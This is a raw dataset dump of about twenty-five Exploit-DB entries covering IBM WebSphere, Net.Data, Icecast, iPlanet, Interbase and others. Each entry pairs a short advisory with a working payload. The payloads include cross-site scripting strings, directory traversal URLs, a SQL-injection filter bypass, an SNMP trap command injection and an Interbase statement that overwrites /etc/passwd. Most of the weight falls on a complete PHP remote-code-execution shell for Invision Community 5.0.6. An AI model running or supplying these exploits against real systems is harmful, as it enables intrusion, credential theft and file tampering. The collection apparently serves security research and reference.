deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20441
Description: IBM Net.Data 7.0 - Full Path Disclosure
Type: remote
Platform: multiple
Date: 2000-11-29
Author: Chad Kalmes

Exploit:
source: https://www.securityfocus.com/bid/2017/info

IBM Net.Data is a scripting language used to create web applications, it supports a wide range of language environments and is compatible with most recognized databases.

Net.Data contains a vulnerability which reveals server information. Requesting a specially crafted URL, by way of the CGI application, comprised of an invalid request and known database, will reveal the physical path of server files.

Successful exploitation of this vulnerability could assist in further attacks against the victim host. 

http://target/cgi-bin/db2www/library/document.d2w/show

DTWP029E: Net.Data is unable to locate the HTML block SHOW in file /projects/www/netdata/macro/software/library/document.d2w.
Exploit-DB #23598
Description: IBM Net.Data 7.0/7.2 - db2www Error Message Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2004-01-26
Author: Carsten Eiram

Exploit:
source: https://www.securityfocus.com/bid/9488/info

IBM Net.Data is prone to cross-site scripting attacks via error message output. This may permit a remote attack to create a link to a system hosting the software that includes embedded HTML and script code. This hostile code may be rendered in the web browser of a user who follows the malicious link.

Exploitation could permit theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/cgi-bin/db2www/<script>alert(document.domain)</script>/A
Exploit-DB #35003
Description: IBM OmniFind - 'command' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2010-11-09
Author: Fatih Kilic

Exploit:
source: https://www.securityfocus.com/bid/44940/info

IBM OmniFind is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

IBM OmniFind versions 8.5 and 9.0 are affected; other versions may also be vulnerable.

NOTE: This issue was previously covered in BID 44740 (IBM OmniFind Multiple Vulnerabilities) but has been given its own record to better document it. 

http://www.example.com/ESAdmin/collection.do?command=<script>alert(document.cookie);</script>
Exploit-DB #33215
Description: IBM Tivoli Identity Manager 5.0.5 - User Profile HTML Injection
Type: remote
Platform: multiple
Date: 2009-08-26
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/36293/info

IBM Tivoli Identity Manager is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

IBM Tivoli Identity Manager 5.0.0.5 is vulnerable; other versions may also be affected. 

The following example input was provided:

<script>alert("bbbbb")</script>
Exploit-DB #20909
Description: IBM Tivoli NetView 5/6 - OVActionD SNMPNotify Command Execution
Type: remote
Platform: multiple
Date: 2001-06-08
Author: Milo van der Zee

Exploit:
source: https://www.securityfocus.com/bid/2845/info

ovactiond is part of the system management software packages OpenView and Netview, distributed by HP and IBM. It is designed for use on enterprise systems, and offers remote administrative facilities.

A problem with the software makes it possible for a remote user to execute commands on a managed system with the privileges of the ovactiond process (often 'bin' on Unix systems). The default configuration of the daemon as installed with HP OpenView enables the execution of commands upon receiving a trap with the command encapsulated in quotes and escapes. Tivoli Netview is not vulnerable to this by default, but may be if customized.

snmptrap -v 1 <NNM host> .1.3.6.1.4.1.11.2.17.1 1.2.3.4 6 60000208 0 1 s "" 2 s "" 3 s "\`/usr/bin/X11/hpterm -display <your client display>\`" 4 s "" [snip...] 12 s ""
Exploit-DB #25420
Description: IBM Websphere 5.0/5.1/6.0 - Application Server Web Server Root JSP Source Code Disclosure
Type: remote
Platform: multiple
Date: 2005-04-13
Author: SPI Labs

Exploit:
source: https://www.securityfocus.com/bid/13160/info

A remote JSP source disclosure vulnerability reportedly affects the IBM WebSphere Application Server. This issue is due to a failure of the application to properly handle various requests under certain circumstances.

It should be noted that this issue only arises when the Web serve and application server root directories reside in the same location; this is not the default configuration.

An attacker may leverage this issue to disclose JSP source code, facilitating code theft as well as potential further attacks. 

GET /index.jsp HTTP/1.0
Host: NonExistentHost
Exploit-DB #28981
Description: IBM Websphere 6.0 - 'Faultactor' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2006-11-13
Author: Nuri Fattah

Exploit:
source: https://www.securityfocus.com/bid/21018/info

IBM WebSphere is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

WebSphere Application Server 6 is vulnerable; other versions may also be affected.

GET /<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> HTTP/1.1
Exploit-DB #20097
Description: IBM Websphere Application Server 2.0./3.0/3.0.2.1 - Showcode
Type: remote
Platform: multiple
Date: 2000-07-24
Author: Shreeraj Shah

Exploit:
source: https://www.securityfocus.com/bid/1500/info

Certain versions of the IBM WebSphere application server ship with a vulnerability which allows malicious users to view the source of any document which resides in the web document root directory.

This is possible via a flaw which allows a default servlet (different servlets are used to parse different types of content, JHTML, HTMl, JSP, etc.) This default servlet will display the document/page without parsing/compiling it hence allowing the code to be viewed by the end user. 

"It is easy to verify this vulnerability for a given system. Prefixing the path to web pages with "/servlet/file/" in the URL causes the file to be displayed without being
parsed or compiled. For example if the URL for a file "login.jsp" is:

http://site.running.websphere/login.jsp

then accessing

http://site.running.websphere/servlet/file/login.jsp

would cause the unparsed contents of the file to show up in the web browser."
Exploit-DB #30768
Description: IBM Websphere Application Server 5.1.1 - WebContainer HTTP Request Header Security
Type: remote
Platform: multiple
Date: 2007-11-15
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/26457/info

IBM WebSphere Application Server is prone to a security weakness regarding an HTTP request header. The software fails to sanitize a certain HTTP header when the data is redirected to an error message.

An attacker may exploit this issue to steal cookie-based authentication credentials and launch other attacks. 

var req:LoadVars=new LoadVars();
req.addRequestHeader("Expect",
"<script>alert('gotcha!')</script>");
req.send("http://www.target.site/","_blank","GET");
Exploit-DB #32839
Description: IBM Websphere Application Server 6.1/7.0 - Administrative Console Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-02-26
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/34001/info

IBM WebSphere Application Server (WAS) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to WAS 6.1.0.23 and 7.0.0.3. 

http://www.example.com/ibm/console/<script>alert('DSecRG_XSS')</script>
http://www.example.com/ibm/console/<script>alert('DSecRG_XSS')</script>.jsp
Exploit-DB #33663
Description: IBM Websphere Portal 6.0.1.5 Build wp6015 - Portlet Palette Search HTML Injection
Type: remote
Platform: multiple
Date: 2010-02-19
Author: Sjoerd Resink

Exploit:
source: https://www.securityfocus.com/bid/38360/info

IBM WebSphere Portal is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

An authenticated attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

IBM WebSphere Portal 6.0.1.5 Build Level wp6015_008_01 is vulnerable; other versions may also be affected. 

The following code can trigger this issue:

" style="position:absolute; top:-100px; left:-100px; width:10000 px; height:10000px; z-index:999;" onmousemove="alert('XSS')"&gt;
Exploit-DB #20513
Description: iCat Electronic Commerce Suite 3.0 - File Disclosure
Type: remote
Platform: multiple
Date: 1997-11-08
Author: Mikael Johansson

Exploit:
source: https://www.securityfocus.com/bid/2126/info

iCat Electronic Commerce Suite is an application which enables a user to create and manage web based catalogues.

A remote user may retrieve known files on a target system running iCat Electronic Commerce Suite. The Carbo Server component of the Electronic Commerce Suite does not properly validate HTTP requests for files and will grant access to any object residing on the system. For example, the following HTTP request will display the file specified:

http://target/carbo.dll?icatcommand=..\..\directory/filename.ext&catalogname=catalog

Successful exploitation of this vulnerability may disclose sensitive information such as usernames and passwords and aid in the development of further attacks. 

http://target/carbo.dll?icatcommand=..\..\directory/filename.ext&catalogname=catalog
Exploit-DB #20972
Description: Icecast 1.1.x/1.3.x - Directory Traversal
Type: remote
Platform: multiple
Date: 2001-06-26
Author: gollum

Exploit:
source: https://www.securityfocus.com/bid/2932/info

Icecast is an open source audio-streaming server for both Unix and Microsoft Windows systems.

Icecast does not filter encoded characters from URLs when receiving web requests. If a remote attacker crafts a URL containing the ASCII equivalent of directory traversal characters, it is possible to escape Icecast's "root" directory. This will allow the attacker to view files readable by the ownership and group membership of the icecast server. 

Mp3-files residing outside the Web catalog can be accessed by replacing ascii-values for each ".", thus using "/%2E%2E/" instead of "/../" will walk one folder downward.

Place a mp3-file named "test1.mp3" in the directory below the one you specified in the variable "staticdir".

Then write the following in your browser:

http://localhost:8000/file/../test1.mp3 - Will fail in getting the file

http://localhost:8000/file/%2E%2E/test1.mp3 - Will succeed in getting the file
Exploit-DB #25238
Description: Icecast 2.x - XSL Parser Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2005-03-18
Author: patrick

Exploit:
source: https://www.securityfocus.com/bid/12849/info

Icecast is reported prone to multiple vulnerabilities. The following individual issues are reported:

Icecast XSL parser is reported to be prone to a buffer overflow vulnerability. This issue exists due to a lack of sufficient boundary checks performed on certain XSL tag values before copying these values into a finite buffer in process memory. It is reported that the vulnerability manifests when a malicious XSL file is parsed by the affected software.

This issue may potentially be exploited to deny service for legitimate users or potentially execute arbitrary code in the context of the user that is running the affected software. This is not confirmed.

It is reported that the Icecast XSL parser is prone to an information disclosure vulnerability. It is reported that the parser fails to parse XSL files when a request for such a file is appended with a dot '.' character.

A remote attacker may exploit this vulnerability to disclose the contents of XSL files that can be requested publicly.

These vulnerabilities are reported to affect Icecast version 2.20, other versions might also be affected. 

<xsl:when test="<lots of chars>"></xsl:when>
<xsl:if test="<lots of chars>"></xsl:if>
<xsl:value-of select="<lots of chars>" />

GET /auth.xsl. HTTP/1.0
GET /status.xsl. HTTP/1.0
Exploit-DB #34271
Description: id Software id Tech 4 Engine - 'key' Packet Remote Code Execution
Type: remote
Platform: multiple
Date: 2010-07-05
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/41460/info

id Tech 4 Engine is prone to a remote code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

The following applications include the vulnerable engine:

Enemy Territory: Quake Wars 1.5.12642.33243 and prior
Wolfenstein 1.3.344272 and prior

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14286.zip
Exploit-DB #21450
Description: id Software Quake II Server 3.20/3.21 - Remote Information Disclosure
Type: remote
Platform: multiple
Date: 2002-05-15
Author: Redix

Exploit:
source: https://www.securityfocus.com/bid/4744/info

Quake II is a multiplayer game released by id Software. The source code has been made publically available, and versions are available for Windows and Linux. A vulnerability has been reported in some versions of the Quake II server.

While variable expansion is normally performed on the client side, a modified client may pass unexpanded variables such as $rcon_password to the server. The server will expand these variables within it's local context, potentially leaking sensitive information to the remote attacker. 

you must modify your q2 client, that the client will not replace the $... variables in says
quick hack:
in qcommon/cmd.c
change the line
Cmd_TokenizeString (text, true);
to
Cmd_TokenizeString( text, false);
Exploit-DB #35729
Description: Imperva SecureSphere - SQL Query Filter Security Bypass
Type: remote
Platform: multiple
Date: 2011-05-09
Author: @drk1wi

Exploit:
source: https://www.securityfocus.com/bid/47780/info

Imperva SecureSphere is prone to a security-bypass vulnerability.

An attacker can leverage this vulnerability to bypass certain security restrictions. Successful exploits may allow attackers to exploit SQL-injection vulnerabilities. 

15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'
Exploit-DB #30973
Description: InfoSoft FusionCharts 3 - '.swf' Flash File Remote Code Execution
Type: remote
Platform: multiple
Date: 2008-01-02
Author: Rich Cannings

Exploit:
source: https://www.securityfocus.com/bid/27109/info

InfoSoft FusionCharts is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//www.example2.com/DoKnowEvil.swf%3F.jpg%22%3E
Exploit-DB #20468
Description: Inktomi Search Software 3.0 - Information Disclosure
Type: remote
Platform: multiple
Date: 2000-12-05
Author: china nsl

Exploit:
source: https://www.securityfocus.com/bid/2062/info

A vulnerability exists in version 3.0 of Ultrseek server (aka Inktomi Search).

Due to a failure to properly validate user-supplied input, URLs submitted by a remote user of the form:

http://target:8765/example/

will, if the file 'example' does not exist, return an error message which discloses sensitive path and server configuration information.

As a result, it is possible for an attacker to obtain information about the server's configuration and directory structure, which could be used to support further attacks.

This may be the result of a weak default configuration. Ultraseek Server returns detailed error information when requests are recieved from an administrative IP address. By default, administrative status is given to all addresses.
Exploit-DB #20467
Description: Inktomi Search Software 3.0 - Source Disclosure
Type: remote
Platform: multiple
Date: 2000-12-05
Author: china nsl

Exploit:
source: https://www.securityfocus.com/bid/2061/info


A vulnerability exists in version 3.0 of Ultrseek server (aka Inktomi Search).

Due to a failure to properly validate user-supplied input, URLs submitted by a remote user of the form:

http://target:8765/somefile.html/

will return the source to 'somefile.html'.

As a result, it is possible for an attacker to obtain source code to any Ultraseek scripts, which could be used to support further attacks.
Exploit-DB #22462
Description: Interbase 6.x - External Table File Verification
Type: remote
Platform: multiple
Date: 2003-04-05
Author: Kotala Zdenek

Exploit:
source: https://www.securityfocus.com/bid/7291/info

A vulnerability has been reported for Interbase that may result in the corruption of arbitrary system files. The vulnerability exists due to insufficient checks performed when creating or manipulating external databases. 

create table test external '/etc/passwd' (id char(80));
insert into test values('r00t::0:0:root:/root:/bin/bash');
Exploit-DB #52294
Description: Invision Community 5.0.6 - Remote Code Execution (RCE)
Type: remote
Platform: multiple
Date: 2025-05-18
Author: Egidio Romano

Exploit:
<?php


/*
    ---------------------------------------------------------------------------
    Exploit Title: Invision Community 5.0.6 - Remote Code Execution (RCE)
    ---------------------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://invisioncommunity.com
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2025-02
*/

set_time_limit(0);
error_reporting(E_ERROR);

print "\n+-------------------------------------------------------------------+";
print "\n| Invision Community <= 5.0.6 Remote Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------+\n";

if (!extension_loaded("curl")) die("\n[-] cURL extension required!\n\n");

if ($argc != 2)
{
	print "\nUsage......: php $argv[0] <URL>\n";
	print "\nExample....: php $argv[0] http://localhost/invision/";
	print "\nExample....: php $argv[0] https://invisioncommunity.com/\n\n";
	die();
}

$ch = curl_init();

$params = ["app" => "core", "module" => "system", "controller" => "themeeditor", "do" => "customCss"];

curl_setopt($ch, CURLOPT_URL, $argv[1]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

while (1)
{
	print "\ninvision-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	$params["content"] = sprintf("{expression=\"die('________'.system(base64_decode('%s')))\"}", base64_encode($cmd));
	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
	preg_match("/(.*)________/s", curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n");
}
Exploit-DB #22662
Description: iPlanet Messaging Server 5.0/5.1 - HTML Attachment Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2003-05-27
Author: KernelPanikLabs

Exploit:
source: https://www.securityfocus.com/bid/7704/info

It has been reported that iPlanet Messaging Server may be prone to cross-site scripting attacks. The problem is said to occur while processing HTML attachments received via e-mail. If successfully exploited, a malicious HTML file may be used to steal an unsuspecting users iPlanet Messaging cookies. Other attacks may also be possible. 

<html>
<script>alert(document.URL)</script>
</html>

The following script code has been provided to demonstrate indirect session hijacking using web redirection:

function%20steal(){var%20xmlHttp%20=%20new%20ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("GET","<URL_to_spoof>",false);xmlHttp.send();xmlDoc=xmlHttp.responseText;

"xmldoc" can be redirected with a "img src", "window.open", to the attacker machine.
Exploit-DB #21603
Description: iPlanet Web Server 4.1 - Search Component File Disclosure
Type: remote
Platform: multiple
Date: 2002-07-09
Author: Qualys Corporation

Exploit:
source: https://www.securityfocus.com/bid/5191/info

The iPlanet Web Server search engine is prone to a file disclosure vulnerability. It is possible for remote attackers to make requests to the search engine which will cause arbitrary readable files on the host running the vulnerable software to be disclosed to the attacker.

This issue was reported for iPlanet Web Server on Microsoft Windows operating systems. Since the server typically runs in the SYSTEM context on these operating systems, it may be possible for an attacker to disclose the contents of arbitrary files. It has not been confirmed whether this vulnerability exists on other platforms that the software is compatible with. The search engine functionality does not appear to be available for versions of the software on Linux platforms.

GET /search?NS-query-pat=..\..\..\..\..\boot.ini
Exploit-DB #29439
Description: iPlanet Web Server 4.1 - Search Module Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2007-01-09
Author: Khalsa

Exploit:
source: https://www.securityfocus.com/bid/21977/info

iPlanet Web Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects all versions of iPlanet Web Server 4.

http://www.example.com/search?NS-max-records=[some number]"<script>